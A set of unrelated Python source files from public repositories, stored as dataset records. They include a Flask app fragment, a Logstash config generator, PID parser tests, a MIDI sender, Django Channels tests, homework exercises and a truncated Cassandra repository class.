predict_tools.predict(upload_dir)\n    try:\n        return send_file(res_path, mimetype=\"text/csv\", as_attachment=True, attachment_filename=\"result.csv\")\n    except Exception as e:\n        app.log_exception(e)\n\n@app.route(\"/search\", methods=[\"GET\"])\ndef search():\n    key = request.args.get(\"suffixKey\")\n    search_id = request.args.get(\"id\")\n    upload_dir = os.path.join(app.config[\"UPLOAD_PATH\"], key)\n    portrait_path = os.path.join(upload_dir, \"portrait.csv\")\n    try:\n        wait(lambda: os.path.exists(portrait_path), timeout_seconds=10)\n        label = predict_tools.search(upload_dir, search_id)\n        if label is None:\n            return \"\"\n        return label\n    except TimeoutExpired:\n        return \"Timeout\", 408\n\n@app.route(\"/chart\", methods=[\"GET\"])\ndef chart():\n    key = request.args.get(\"suffixKey\")\n    search_id = request.args.get(\"id\")\n    byclass = request.args.get(\"class\")\n    upload_dir = os.path.join(app.config[\"UPLOAD_PATH\"], key)\n    data = predict_tools.chart(upload_dir, search_id, byclass)\n    if data is None:\n        return \"\"\n    return data\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n","repo_name":"gfdskl/zombie-enterprise","sub_path":"web/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2648,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"35252350814","text":"#!/usr/bin/env python\n\"\"\"data2elk.py feeds csv data into Elasticsearch-Logstash-Kibana\"\"\"\n\nimport os\nimport sys\nimport csv\nimport glob\nfrom elk_config import ConfigElk as config_elk\n\nCONFIG_TEMPLATE = \"\"\"# logstash config, generated by data2elk.py\ninput {\n  file {\n    path => \"%s\"\n    type => \"csv\"\n    start_position => \"beginning\"\n    %s\n  }\n}\n \nfilter { \n  csv {\n     columns => %s\n     separator => \"%s\"\n  } \n}\n \noutput {\n  elasticsearch { \n    action => \"index\"\n    hosts => \"localhost\" \n    index => \"logstash-%%{+YYYY.MM.dd}\"\n    workers => 1\n  }\n  stdout { codec => rubydebug }\n}\n\"\"\"\n\ndef get_columns(path, delimiter=',', quotechar='\"'):\n    \"\"\"Extract column names from the CSV\n\n    @param path: path to CSV file\n    @param delimiter: CSV delimiter character\n    @param quotechar: character used to quote fields in CSV\n    @return: list of column names\n    \"\"\"\n    with open(path, 'r') as csvfile:\n        reader = csv.reader(csvfile, delimiter=delimiter, quotechar=quotechar)\n        header = reader.next()  \n\n    return header\n\n\ndef generate_config(config_path, csv_path, columns, ignore_sincedb=False, \n                    delimiter=',', quotechar='\"'):\n    \"\"\"Generate Logstash config file.\n\n    @param config_path: path to write Logstash config to.\n    @param csv_path: path to csv input data\n    @param columns: column names in the csv\n    @param ignore_sincedb: set True to ingest everything, \n        False to ingest only new data \n    @param delimiter: CSV delimiter character\n    @param quotechar: character used to quote fields in CSV\n    @return: None\n    \"\"\"\n    config_dir = os.path.dirname(config_path)\n    if not os.path.exists(config_dir):\n        os.makedirs(config_dir)\n\n    # if the specified path is a dir, add a wildcard\n    path = os.path.abspath(csv_path)\n    if os.path.isdir(path):\n        path = os.path.join(path, '*')\n\n    ignore_sincedb = 'sincedb_path => \"/dev/null\"' if ignore_sincedb else ''\n    data = CONFIG_TEMPLATE % (path, ignore_sincedb, columns, delimiter)\n    with open(config_path, 'w') as fd:\n        fd.write(data)\n\n\ndef which(program, all=False):\n    \"\"\"Locates the program in the directories specified by the PATH environment variable.\n\n    @param program: the program to locate\n    @param all: boolean, specify True to find all instances of the program found, \n                otherwise just the first is returned.\n    @return: The path found, or None.  If all is True, returns list of all paths found.\n    \"\"\"              \n    found = []\n    for path in os.getenv(\"PATH\").split(os.path.pathsep):\n        full_path = os.path.join(path, program)\n        if os.path.exists(full_path):\n            if all:\n                found.append(full_path)\n            else:\n                return full_path\n\n    if all:\n        return found\n\n\ndef _latest_file(dir):\n    \"\"\"Return absolute path to latest file in directory dir.\"\"\"\n    return max(glob.glob(os.path.join(dir, '*')), key=os.path.getctime)\n\n\ndef run(path, delimiter=',', quotechar='\"', logstash_config='/etc/logstash/conf.d/logstash.conf',\n        restart_logstash=True, ip='localhost', skip_install=True, ignore_sincedb=False):\n    if not os.path.exists(path):\n        sys.stdout.write(\"File does not exist: {}\\n\".format(path))\n        sys.exit(1)  \n\n    if sys.platform.startswith('linux') and not args.skip_install:\n        config_elk(args.ip)\n\n    # if a dir was specified, pick the latest file in the dir to get the\n    # header from, otherwise use the specified file\n    f = _latest_file(args.file) if os.path.isdir(args.file) else args.file\n    columns = get_columns(f, delimiter=args.delimiter, quotechar=args.quotechar) \n\n    generate_config(args.output, args.file, columns, ignore_sincedb=ignore_sincedb,\n                    delimiter=args.delimiter, quotechar=args.quotechar)\n\n    LOGSTASH = \"/usr/share/logstash/bin/logstash\" # which('logstash')\n    LOGSTASH_SETTINGS_DIR = \"/etc/logstash\"\n    if not os.path.exists(LOGSTASH):\n        sys.stdout.write(\"No logstash installation found\\n\")\n        sys.exit(1)    \n\n    # check if generated config is valid, raises CalledProcessError is raised if config is invalid.\n    # bin/logstash -t -f /etc/logstash/logstash.conf \n    with open(os.devnull, 'w') as devnull_fd: # used to suppress output\n        subprocess.check_call([LOGSTASH, \"--config.test_and_exit\", \n                               \"--path.config\", logstash_config,\n                               \"--path.settings\", LOGSTASH_SETTINGS_DIR], \n                              stdout=devnull_fd)\n  \n    if restart_logstash:\n        subprocess.call([LOGSTASH, '-f', args.output])            \n\n\nif __name__ == \"__main__\":\n    import argparse\n    import subprocess\n\n\n    DEFAULT_CONFIG_PATH = '/etc/logstash/conf.d/logstash.conf'\n\n    parser = argparse.ArgumentParser(description=\"Process data for Elasticsearch/Logstash/Kibana\")\n    parser.add_argument('-f', '--file', metavar='FILE', help='path to csv input or dir')\n    parser.add_argument('--delimiter', default=',',\n                        help=\"\"\"csv delimiter character, ',' by default\"\"\")\n    parser.add_argument('--quotechar', default='\"',\n                        help=\"\"\"csv quote character, '\"' by default\"\"\")\n    parser.add_argument('-o', '--output', metavar='FILE', default='/etc/logstash/logstash.conf',\n                        help='path to logstash config output, defaults to {}'.format(DEFAULT_CONFIG_PATH))\n    parser.add_argument('-r', '--restart-logstash', action='store_true', default=False,\n                        help='restart logstash with the generated config, if it is not already running as a daemon')\n    parser.add_argument('-i', '--ip', default='localhost',\n                        help='IP address for Kibana and ElasticSearch instance, defaults to localhost.')\n    parser.add_argument('--skip-install', action='store_true', default=False,\n\t\t\t            help='skip ELK installation')\n    parser.add_argument('--ignore-sincedb', action='store_true', default=False,\n                        help='ignore sincedb to ingest previously ingested data')\n    args = parser.parse_args()    \n\n    if not args.file:\n        sys.stdout.write(\"No data path specified\\n\")\n        sys.exit(1)\n\n    run(args.file, delimiter=args.delimiter, quotechar=args.quotechar, \n        logstash_config=args.output, restart_logstash=args.restart_logstash,\n        ip=args.ip, skip_install=args.skip_install, ignore_sincedb=args.ignore_sincedb)\n    \n\n\n","repo_name":"darlenew/data2elk","sub_path":"data2elk.py","file_name":"data2elk.py","file_ext":"py","file_size_in_byte":6421,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"18"}
{"seq_id":"1641180205","text":"import pytest\nfrom construct import Container, ListContainer\nfrom construct_typed import DataclassStruct\n\nfrom bonfo.msp.codes import MSP\nfrom bonfo.msp.fields.base import Direction\nfrom bonfo.msp.fields.pids import PidAdvanced, PidCoefficients\nfrom bonfo.msp.versions import MSPVersions\nfrom tests import messages\nfrom tests.utils import minus_preamble\n\n\ndef test_pid_coefficients():\n    assert PidCoefficients.get_direction() == Direction.OUT\n    assert PidCoefficients.get_code == MSP.PID\n    assert PidCoefficients.set_code is None\n    assert isinstance(PidCoefficients.get_struct(), DataclassStruct)\n\n\ndef test_pid_coefficients_parse():\n    data_bytes = minus_preamble(messages.pid)\n    data = PidCoefficients.get_struct().parse(data_bytes)\n    assert isinstance(data, PidCoefficients)\n    assert data == PidCoefficients(\n        pids=ListContainer(\n            [\n                Container(p=22, i=68, d=31),\n                Container(p=26, i=68, d=31),\n                Container(p=29, i=76, d=4),\n                Container(p=53, i=55, d=75),\n                Container(p=40, i=0, d=0),\n            ]\n        )\n    )\n\n\ndef test_pid_parse_and_build_non_destructive():\n    \"\"\"Pid advanced generated struct should be non-destructive to bytestring.\"\"\"\n    data_bytes = minus_preamble(messages.pid)\n    struct = PidCoefficients.get_struct()\n    data = struct.parse(data_bytes)\n    assert isinstance(data, PidCoefficients)\n    output_data_bytes = struct.build(data)\n    assert data_bytes == output_data_bytes\n\n\ndef test_pid_advanced():\n    assert PidAdvanced.get_direction() == Direction.BOTH\n    assert PidAdvanced.get_code == MSP.PID_ADVANCED\n    assert PidAdvanced.set_code == MSP.SET_PID_ADVANCED\n    assert isinstance(PidAdvanced.get_struct(), DataclassStruct)\n\n\ndef xtest_pid_advanced_parse():\n    data_bytes = minus_preamble(messages.pid_advanced)\n    data = PidAdvanced.get_struct().parse(data_bytes, msp=MSPVersions.V1_43)\n    assert isinstance(data, PidAdvanced)\n    # TODO: don't require unused parameters fields\n    assert data == PidAdvanced(\n        feedforward_transition=1,\n        rate_accel_limit=1,\n        yaw_rate_accel_limit=1,\n        level_angle_limit=1,\n        iterm_throttle_threshold=1,\n        iterm_accelerator_gain=1,\n        iterm_rotation=1,\n        iterm_relax=1,\n        iterm_relax_type=1,\n        abs_control_gain=1,\n        throttle_boost=1,\n        acro_trainer_angle_limit=1,\n        pid_roll_f=1,\n        pid_pitch_f=1,\n        pid_yaw_f=1,\n        anti_gravity_mode=1,\n        d_min_roll=1,\n        d_min_pitch=1,\n        d_min_yaw=1,\n        d_min_gain=1,\n        d_min_advance=1,\n        use_integrated_yaw=1,\n        integrated_yaw_relax=1,\n        iterm_relax_cutoff=1,\n        motor_output_limit=1,\n        auto_profile_cell_count=1,\n        dyn_idle_min_rpm=1,\n        feedforward_averaging=1,\n        feedforward_smooth_factor=1,\n        feedforward_boost=1,\n        feedforward_max_rate_limit=1,\n        feedforward_jitter_factor=1,\n        vbat_sag_compensation=1,\n        thrust_linearization=1,\n    )\n\n\ndef test_pid_advanced_parse_and_build_non_destructive():\n    \"\"\"Pi aAdvanced generated struct should be non-destructive to bytescring.\"\"\"\n    data_bytes = minus_preamble(messages.pid_advanced)\n    struct = PidAdvanced.get_struct()\n    data = struct.parse(data_bytes, msp=MSPVersions.V1_43.value)\n    assert isinstance(data, PidAdvanced)\n    output_data_bytes = struct.build(data, msp=MSPVersions.V1_43.value)\n    assert data_bytes == output_data_bytes\n\n\ndef test_pid_advanced_dataclass_no_args_errors():\n    \"\"\"No args throws a type error with missing count.\"\"\"\n    with pytest.raises(TypeError) as exec_info:\n        PidAdvanced()\n    assert \"34\" in exec_info.exconly()\n\n\ndef test_pid_advanced_dataclass_init_good_data():\n    \"\"\"Pid advanced shouldn't error when initialized.\"\"\"\n    PidAdvanced(\n        feedforward_transition=1,\n        rate_accel_limit=1,\n        yaw_rate_accel_limit=1,\n        level_angle_limit=1,\n        iterm_throttle_threshold=1,\n        iterm_accelerator_gain=1,\n        iterm_rotation=1,\n        iterm_relax=1,\n        iterm_relax_type=1,\n        abs_control_gain=1,\n        throttle_boost=1,\n        acro_trainer_angle_limit=1,\n        pid_roll_f=1,\n        pid_pitch_f=1,\n        pid_yaw_f=1,\n        anti_gravity_mode=1,\n        d_min_roll=1,\n        d_min_pitch=1,\n        d_min_yaw=1,\n        d_min_gain=1,\n        d_min_advance=1,\n        use_integrated_yaw=1,\n        integrated_yaw_relax=1,\n        iterm_relax_cutoff=1,\n        motor_output_limit=1,\n        auto_profile_cell_count=1,\n        dyn_idle_min_rpm=1,\n        feedforward_averaging=1,\n        feedforward_smooth_factor=1,\n        feedforward_boost=1,\n        feedforward_max_rate_limit=1,\n        feedforward_jitter_factor=1,\n        vbat_sag_compensation=1,\n        thrust_linearization=1,\n    )\n","repo_name":"destos/bonfo","sub_path":"tests/fields/test_pids.py","file_name":"test_pids.py","file_ext":"py","file_size_in_byte":4849,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"22441653528","text":"import unittest\n\n\ndef is_replace(a, b):\n    is_diff_found = False\n    for a_c, a_b in zip(a, b):\n        if a_c != a_b:\n            if is_diff_found:\n                return False\n            is_diff_found = True\n\n    return True\n\n\ndef is_char_added(a, b):\n    is_diff_found = False\n    idxa = 0\n    idxb = 0\n    for _ in range(len(a)):\n        if a[idxa] != b[idxb]:\n            if is_diff_found:\n                return False\n            idxb += 1\n            is_diff_found = True\n        idxa += 1\n        idxb += 1\n\n    return True\n\n\ndef one_away(a, b):\n    if len(a) == len(b):\n        return is_replace(a, b)\n    elif len(a) + 1 == len(b):\n        return is_char_added(a, b)\n    elif len(a) == len(b) + 1:\n        return is_char_added(b, a)\n\n    return False\n\n\nclass Test(unittest.TestCase):\n    dataT = [('pale', 'ple'), ('ple', 'pale'), ('pales', 'pale'), ('pale', 'bale'), ('', '')]\n    dataF = [('pale', 'bake'), ('ple', 'pala'), ('pala', 'ple'), ('  ', '')]\n\n    def test_ture(self):\n        for d in self.dataT:\n            self.assertTrue(one_away(d[0], d[1]))\n\n    def test_false(self):\n        for d in self.dataF:\n            self.assertFalse(one_away(d[0], d[1]))\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"d0iasm/CtCI","sub_path":"Chapter01/05_one_away.py","file_name":"05_one_away.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"9836359260","text":"import mido\nimport sys\nimport time\nimport json\n\nmidi_name = None\nfor name in mido.get_output_names():\n  if name.startswith(\"VYPYR\"):\n    midi_name = name\n\nif not midi_name:\n  print(\"Could not find VYPYR interface\")\n  sys.exit(1)\n\noutput = mido.open_output(midi_name)\n\nwhile True:\n  line = sys.stdin.readline()\n  data = json.loads(line)\n  msg = mido.Message(**data) # \"program_change\", program=int(sys.argv[1]))\n  output.send(msg)\n","repo_name":"aughey/peavey_midi","sub_path":"send_command.py","file_name":"send_command.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"7217918563","text":"import json\r\nfrom django.test import TestCase,Client\r\nfrom channels.testing import WebsocketCommunicator\r\nfrom blog.consumer import BlogsConsumer,CommentsConsumer\r\nfrom accounts.models import User\r\nfrom django.urls import reverse\r\nfrom blog.models import Blogs,Comments,Comments_for_comments\r\nfrom channels.db import database_sync_to_async\r\nfrom asgiref.sync import sync_to_async\r\n\r\nclass MyTests(TestCase):\r\n    def setUp(self):\r\n        self.client=Client()\r\n        self.user=User.objects.create_user(\r\n            username= \"testuser\",\r\n            first_name= \"test\",\r\n            last_name= \"user\",\r\n            email= \"testuser@gmail.com\",\r\n            password= \"kamikkkk\", \r\n            is_patient= False,\r\n            is_doctor=True,\r\n            date_of_birth=\"2005-01-01\" \r\n        )\r\n        self.blog=Blogs.objects.create( \r\n            blogger_account=self.user,\r\n           blog_title=\"common cold\",\r\n           category=\"general\",\r\n           blog_content=\"never had it\"\r\n        )\r\n        self.blog1=Blogs.objects.create(blogger_account=self.user,\r\n           blog_title=\"common cold3\",\r\n           category=\"general\",\r\n           blog_content=\"never had it3\")\r\n        self.blog_data={\r\n           \"blog_title\":\"common cold2\",\r\n           \"category\":\"general\",\r\n           'blog_content':\"never had it2\"\r\n        }\r\n        self.comment=Comments.objects.create( \r\n            commentor_account=self.user,\r\n            blog=self.blog,\r\n           comment=\"sleep it off\",\r\n        )\r\n        self.login_res=json.loads(self.client.post(reverse('login'),json.dumps({\r\n            \"username\": \"testuser\",\"password\": \"kamikkkk\"\r\n            }),content_type=\"application/json\").content.decode(\"UTF-8\"))\r\n        \r\n    async def test_blog_consumer_connection(self):\r\n        communicator = WebsocketCommunicator(BlogsConsumer.as_asgi(), \"\")\r\n        connected, subprotocol = await communicator.connect()\r\n        self.assertTrue(connected)\r\n        await communicator.disconnect() \r\n\r\n    async def test_blog_consumer_get_blogs(self):\r\n        communicator = WebsocketCommunicator(BlogsConsumer.as_asgi(), \"\")  \r\n        await communicator.connect()   \r\n        await communicator.receive_json_from() \r\n        await communicator.send_json_to({'command': 'get_blogs',\r\n                    'data': {\r\n                    }})\r\n        response = await communicator.receive_json_from()\r\n        self.assertEquals(response['data'][0]['blog_title'],'common cold')\r\n        await communicator.disconnect() \r\n        # response=sync_to_async(self.client.post)(reverse('post_blog'),json.dumps({            \r\n        #    \"blog_title\":\"common cold3\",\r\n        #    \"blog_content\":\"never had it3\"\r\n        # }),content_type=\"apaddBlogplication/json\",HTTP_AUTHORIZATION=\"Token \"+self.login_res['token'])        \r\n    async def test_blog_consumer_add_blog(self):\r\n        '''\r\n        database operations performed before communicator operations to work in async \r\n        (don't know why)\r\n        '''\r\n        blog=await database_sync_to_async(Blogs.objects.create)(blogger_account=self.user,\r\n           blog_title=\"common cold5\",\r\n           category=\"general\",\r\n           blog_content=\"never had it5\")\r\n        communicator = WebsocketCommunicator(BlogsConsumer.as_asgi(), \"\")\r\n        await communicator.connect()\r\n        await communicator.receive_json_from()\r\n        await communicator.send_json_to({'command': 'add_blog',\r\n                    'data': {'id':blog.id}})\r\n        response = await communicator.receive_json_from()\r\n        self.assertEquals(response['data']['blog_title'],'common cold5')\r\n        await communicator.disconnect() \r\n    async def test_blog_consumer_update_blog(self):\r\n        blog=await database_sync_to_async(Blogs.objects.get)(id=self.blog1.id)\r\n        blog.blog_title='common cold4'\r\n        await database_sync_to_async( blog.save)()\r\n        communicator = WebsocketCommunicator(BlogsConsumer.as_asgi(), \"\")\r\n        await communicator.connect()\r\n        await communicator.receive_json_from()        \r\n        await communicator.send_json_to({'command': 'update_blog',\r\n                    'data': {'id':self.blog1.id}})\r\n        response = await communicator.receive_json_from()\r\n        self.assertEquals(response['data']['blog_title'],'common cold4')\r\n        await communicator.disconnect() \r\n    async def test_blog_consumer_delete_blog(self):\r\n        id=self.blog1.id\r\n        blog=await database_sync_to_async(Blogs.objects.get)(id=id)\r\n        await database_sync_to_async(blog.delete)()\r\n        communicator = WebsocketCommunicator(BlogsConsumer.as_asgi(), \"\")\r\n        await communicator.connect()\r\n        await communicator.receive_json_from()        \r\n        await communicator.send_json_to({'command': 'delete_blog',\r\n                    'data': {'id':id}})\r\n        response = await communicator.receive_json_from()\r\n        self.assertEquals(response['id'],id)\r\n    \r\n    async def test_blog_consumer_connection(self):\r\n        communicator = WebsocketCommunicator(BlogsConsumer.as_asgi(), \"\")\r\n        connected, subprotocol = await communicator.connect()\r\n        self.assertTrue(connected)\r\n        await communicator.disconnect() ","repo_name":"Tonynganga/PROJECT-MED","sub_path":"appointment-backend/doctors_appointments_app/blog/tests/test_consumer.py","file_name":"test_consumer.py","file_ext":"py","file_size_in_byte":5201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"7388989112","text":"# Задание 1. Факториал\n\ndef fac(n):\n\tresult = 1\n\tfor i in range(1,n+1):\n\t\tresult = result*i\n\treturn result\nprint(fac(3))\n\n# Задание 2. Наибольший общий делитель (НОД) для двух целых чисел\n\ndef gcd(a, b):    \n  while a != 0 and b != 0:\n        if a > b:\n            a = a - b\n        else:\n            b = b - a\n  return (a+b)\n\n# Задание 3. Генератор для ряда Фибоначчи\n\ndef fib():   \n    a, b = 1, 1\n    while True:\n        yield a\n        a, b = b, a + b\n\n\n# Задание 4. Напишите реализацию функции is_palindrome, которая проверяет, является ли последовательность палиндромом\n#\n# >>> is_palindrome('aba')\n# True\n# >>> is_palindrome('abc')\n# False\n# >>> is_palindrome([1, 2, 3, 2, 1])\n# True\n\ndef is_palindrome(a):\n    if list(a) == list(reversed(a)):\n        return True\n    else:\n        return False\n\n\n# Задание 5. Напишите реализацию функции is_unique, которая проверяет, содержит ли последовательность только уникальные элементы.\n# >>> is_unique([1, 2, 3, 2, 1])\n# False\n# >>> is_unique([1, 2, 3, 4, 5])\n# True\n\ndef is_unique(seq):\n  if len(list(seq)) == len(set(seq)):\n    return True\n  else:\n    return False\n\n\n# Задание 6. Напишите реализацию функции, которая вычисляет контрольную сумму последовательности чисел по модулю 10. Аргумент -- строку, содержащую только цифры, -- необходимо преобразовать в последовательность чисел, вычислить их сумму, и вернуть остаток от деления на 10.\n# Пример: '12345' -> [1, 2, 3, 4, 5] -> 15 -> 5\n#\n# >>> checksum('123')\n# 6\n# >>> checksum('1234')\n# 0\n# >>> checksum('12345')\n# 5\n\ndef checksum(code):\n    a=0\n    for i in list(code):\n        a+=int(i)\n        a=a%10\n    return(a)\n\n\n# Задание 7*. Преобразование вложенных последовательностей\n#\n# >>> flatten([])\n# []\n# >>> flatten([1, 2])\n# [1, 2]\n# >>> flatten([1, [2, [3]]])\n# [1, 2, 3]\n# >>> flatten([(1, 2), (3, 4)])\n# [1, 2, 3, 4]\n\ndef flatten(seq):\n    a = []\n    for i in seq:\n        if type(i) == int or type(i) == str:\n            a.append(i)\n        else:\n            a.extend(flatten(i))\n    return a","repo_name":"kirillqq20/Course","sub_path":"Python/homework/work2.py","file_name":"work2.py","file_ext":"py","file_size_in_byte":2563,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"36579088411","text":"import time\nimport copy\nfrom typing import List\n\nfrom cassandra import ConsistencyLevel\nfrom cassandra.cluster import Cluster, Session\nfrom cassandra.query import SimpleStatement\n\nfrom market_app.models.api_models import ApartmentOfferAveragePrice, CompanyStatisticResult\nfrom market_app.models.db_models.cassandra_models import Offer, Apartment, Owner\nfrom market_app.repositories.uuid_util import convert_text_into_uuid, generate_uuid, convert_uuid_into_text\n\n\nclass CassandraOfferRepository:\n    def __init__(self, session: Session):\n        self.session = session\n        self.key_space = \"market_app\"\n\n    def get_offers_by_city_and_address(self, city: str, address: str) -> List[Offer]:\n        query = f\"SELECT * FROM {self.key_space}.offers_by_city_and_street WHERE address_city = %s AND address_street = %s\"\n        rows = self.session.execute(query, (city, address))\n        return self.__map_from_rows(rows);\n\n    def get_offers_by_city_and_price_range(self, city: str, min_price: float, max_price: float) -> List[Offer]:\n        query = SimpleStatement(\n            f\"SELECT * FROM {self.key_space}.offers_by_city_and_price WHERE address_city=%s AND price>=%s AND price<=%s\",\n            consistency_level=ConsistencyLevel.QUORUM\n        )\n        rows = self.session.execute(query, (city, min_price, max_price))\n        return self.__map_from_rows(rows)\n\n    def get_offers_by_company_name(self, company_name: str) -> List[Offer]:\n        query = SimpleStatement(\n            \"SELECT * FROM offers_by_company_name WHERE company_name=%s\",\n            consistency_level=ConsistencyLevel.QUORUM\n        )\n        rows = self.session.execute(query, company_name)\n        return self.__map_from_rows(rows)\n\n    def get_offers_by_city_and_price_and_id(self, city: str, price: float, offer_id: str) -> Offer | None:\n        offer_uuid = convert_text_into_uuid(offer_id)\n        query = SimpleStatement(\n            \"SELECT * FROM offers_by_city_and_price WHERE address_city=%s AND price=%s AND offer_id=%s\",\n            consistency_level=ConsistencyLevel.QUORUM\n        )\n        row = self.session.execute(query, (city, price, offer_uuid)).one()\n        if not row:\n            return None\n        return self.__map_from_row(row)\n\n    def get_offer_basic_by_id(self, offer_id: str) -> Offer:\n        offer_uuid = convert_text_into_uuid(offer_id)\n        query = SimpleStatement(\n            \"SELECT * FROM offers_basic WHERE offer_id=%s\",\n            consistency_level=ConsistencyLevel.QUORUM\n        )\n        rows = self.session.execute(query, (offer_uuid,))\n        mapped_rows = self.__map_from_rows(rows)\n        return mapped_rows[0] if len(mapped_rows) > 0 else None\n\n    def get_average_price_by_city(self, city_filter) -> List[ApartmentOfferAveragePrice]:\n        city_filter_query = \"\"\n        if city_filter:\n            city_filter_query = f\" WHERE address_city ='{city_filter}'\";\n\n        query = SimpleStatement(\n            f\"SELECT address_city, avg(price) as avg_price, avg(price/area) as avg_price_per_m2\"\n            f\" FROM offers_by_city_and_price\"\n            f\"{city_filter_query}\"\n            f\" group by address_city\"\n        )\n\n        rows = self.session.execute(query)\n        return list(map(lambda x: self.__map_average_price(x), rows))\n\n    def get_statistic_by_company(self, company_filter) -> List[CompanyStatisticResult]:\n        company_filter_query = \"\"\n        if company_filter:\n            company_filter_query = f\" WHERE company_name ='{company_filter}'\";\n\n        query = SimpleStatement(f\"select company_name,\"\n                                f\"avg(price)  as avg_price,\"\n                                f\"avg(price/area) as avg_price_per_m2,\"\n                                f\"count(*) as sales_offer_count \"\n                                f\"{company_filter_query} \"\n                                f\"from market_app.offers_by_company_name group by company_name\"\n                                )\n\n        rows = self.session.execute(query)\n        return list(map(lambda x: self.__map_company_statistic(x), rows))\n\n    def delete(self, offer_id: str):\n        offer_basic = self.get_offer_basic_by_id(offer_id)\n        if not offer_basic:\n            raise ValueError(\"Not found offer with provided id\")\n\n        query = SimpleStatement(\n            \"DELETE FROM offers_by_company_name WHERE company_name=%s AND offer_id=%s\",\n            consistency_level=ConsistencyLevel.QUORUM\n        )\n        offer_id_uuid = convert_text_into_uuid(offer_id)\n        if offer_basic.company_name:\n            self.session.execute(query, (offer_basic.company_name, offer_id_uuid))\n\n        query = SimpleStatement(\n            \"DELETE FROM offers_by_city_and_street WHERE address_city=%s AND address_street=%s AND offer_id=%s\",\n            consistency_level=ConsistencyLevel.QUORUM\n        )\n        self.session.execute(query, (offer_basic.address_city, offer_basic.address_street, offer_id_uuid))\n\n        query = SimpleStatement(\n            \"DELETE FROM offers_by_city_and_price WHERE address_city=%s AND price=%s AND offer_id=%s\",\n            consistency_level=ConsistencyLevel.QUORUM\n        )\n        self.session.execute(query, (offer_basic.address_city, offer_basic.price, offer_id_uuid))\n\n    def insert(self, offer: Offer) -> Offer:\n        offer_id = generate_uuid()\n        copied_offer = copy.copy(offer)\n        copied_offer.offer_id = offer_id\n        self.__insert_into_offers_basic(copied_offer)\n        self.__insert_into_offers_by_city_and_address(copied_offer)\n\n        if copied_offer.company_name:\n            self.__insert_into_offers_by_company_name(copied_offer)\n        self.__insert_into_offers_by_city_and_price(copied_offer)\n        return copied_offer\n\n    def __insert_into_offers_by_city_and_address(self, offer: Offer):\n        query = \"INSERT INTO offers_by_city_and_street (address_city, address_street, offer_id, title, price, area, status, owner_id, apartment_id) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s)\"\n        self.session.execute(query, (\n            offer.address_city, offer.address_street, offer.offer_id, offer.title, offer.price, offer.area,\n            offer.status,\n            offer.owner_id, offer.apartment_id))\n\n    def __insert_into_offers_by_city_and_price(self, offer: Offer):\n        query = \"INSERT INTO offers_by_city_and_price (address_city, address_street, price, offer_id, title, area, status, owner_id, apartment_id) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s)\"\n        self.session.execute(query, (\n            offer.address_city, offer.address_street, offer.price, offer.offer_id, offer.title, offer.area,\n            offer.owner_id, offer.status,\n            offer.apartment_id))\n\n    def __insert_into_offers_by_company_name(self, offer: Offer):\n        query = \"INSERT INTO offers_by_company_name (company_name, offer_id, title, price, area, status, owner_id, apartment_id) VALUES (%s, %s, %s, %s, %s, %s, %s, %s)\"\n        self.session.execute(query, (\n            offer.company_name, offer.offer_id, offer.title, offer.price, offer.area, offer.status, offer.owner_id,\n            offer.apartment_id))\n\n    def __insert_into_offers_basic(self, offer):\n        query = \"INSERT INTO offers_basic (offer_id, address_city, address_street, company_name, price) VALUES (%s, %s, %s, %s, %s)\"\n        self.session.execute(query, (\n            offer.offer_id, offer.address_city, offer.address_street, offer.company_name, offer.price))\n\n    def update(self, offer: Offer):\n        self.__update_offers_by_city_and_address(offer)\n        self.__update_offers_by_city_and_price(offer)\n        if offer.company_name:\n            self.__update_offers_by_company_name(offer)\n\n    def __update_offers_by_city_and_address(self, offer: Offer):\n        query = \"UPDATE offers_by_city_and_street SET title=%s, price=%s, area=%s, status=%s, owner_id=%s, apartment_id=%s WHERE address_city=%s AND address_street=%s AND offer_id=%s\"\n        self.session.execute(query, (\n            offer.title, offer.price, offer.area, offer.status, offer.owner_id, offer.apartment_id, offer.address_city,\n            offer.address_street, convert_text_into_uuid(offer.offer_id)))\n\n    def __update_offers_by_company_name(self, offer: Offer):\n        query = \"UPDATE offers_by_company_name SET title=%s, price=%s, area=%s, status=%s, owner_id=%s, apartment_id=%s WHERE company_name=%s AND offer_id=%s\"\n        self.session.execute(query, (\n            offer.title, offer.price, offer.area, offer.status, offer.owner_id, offer.apartment_id, offer.company_name,\n            convert_text_into_uuid(offer.offer_id)))\n\n    def __update_offers_by_city_and_price(self, offer: Offer):\n        query = \"UPDATE offers_by_city_and_price SET title=%s, area=%s, status=%s, owner_id=%s, apartment_id=%s WHERE address_city=%s AND price=%s AND offer_id=%s\"\n        self.session.execute(query, (\n            offer.title, offer.area, offer.status, offer.owner_id, offer.apartment_id, offer.address_city,\n            offer.price, convert_text_into_uuid(offer.offer_id)))\n\n    def __map_from_row(self, single_row) -> Offer:\n        return Offer(single_row.address_city,\n                     single_row.address_street,\n                     convert_uuid_into_text(single_row.offer_id),\n                     single_row.title if hasattr(single_row, 'title') else None,\n                     single_row.price,\n                     single_row.area if hasattr(single_row, 'area') else None,\n                     single_row.status if hasattr(single_row, 'status') else None,\n                     single_row.owner_id if hasattr(single_row, 'owner_id') else None,\n                     single_row.apartment_id if hasattr(single_row, 'apartment_id') else None,\n                     single_row.company_name if hasattr(single_row, 'company_name') else None\n                     )\n\n    def __map_from_rows(self, rows) -> List[Offer]:\n        return [self.__map_from_row(row) for row in rows]\n\n    # Example usage\n    def __map_average_price(self, row) -> ApartmentOfferAveragePrice:\n        return ApartmentOfferAveragePrice(city=row.address_city,\n                                          avg_price=row.avg_price,\n                                          avg_price_per_m2=row.avg_price_per_m2\n                                          )\n\n\n    def __map_company_statistic(self, row) -> 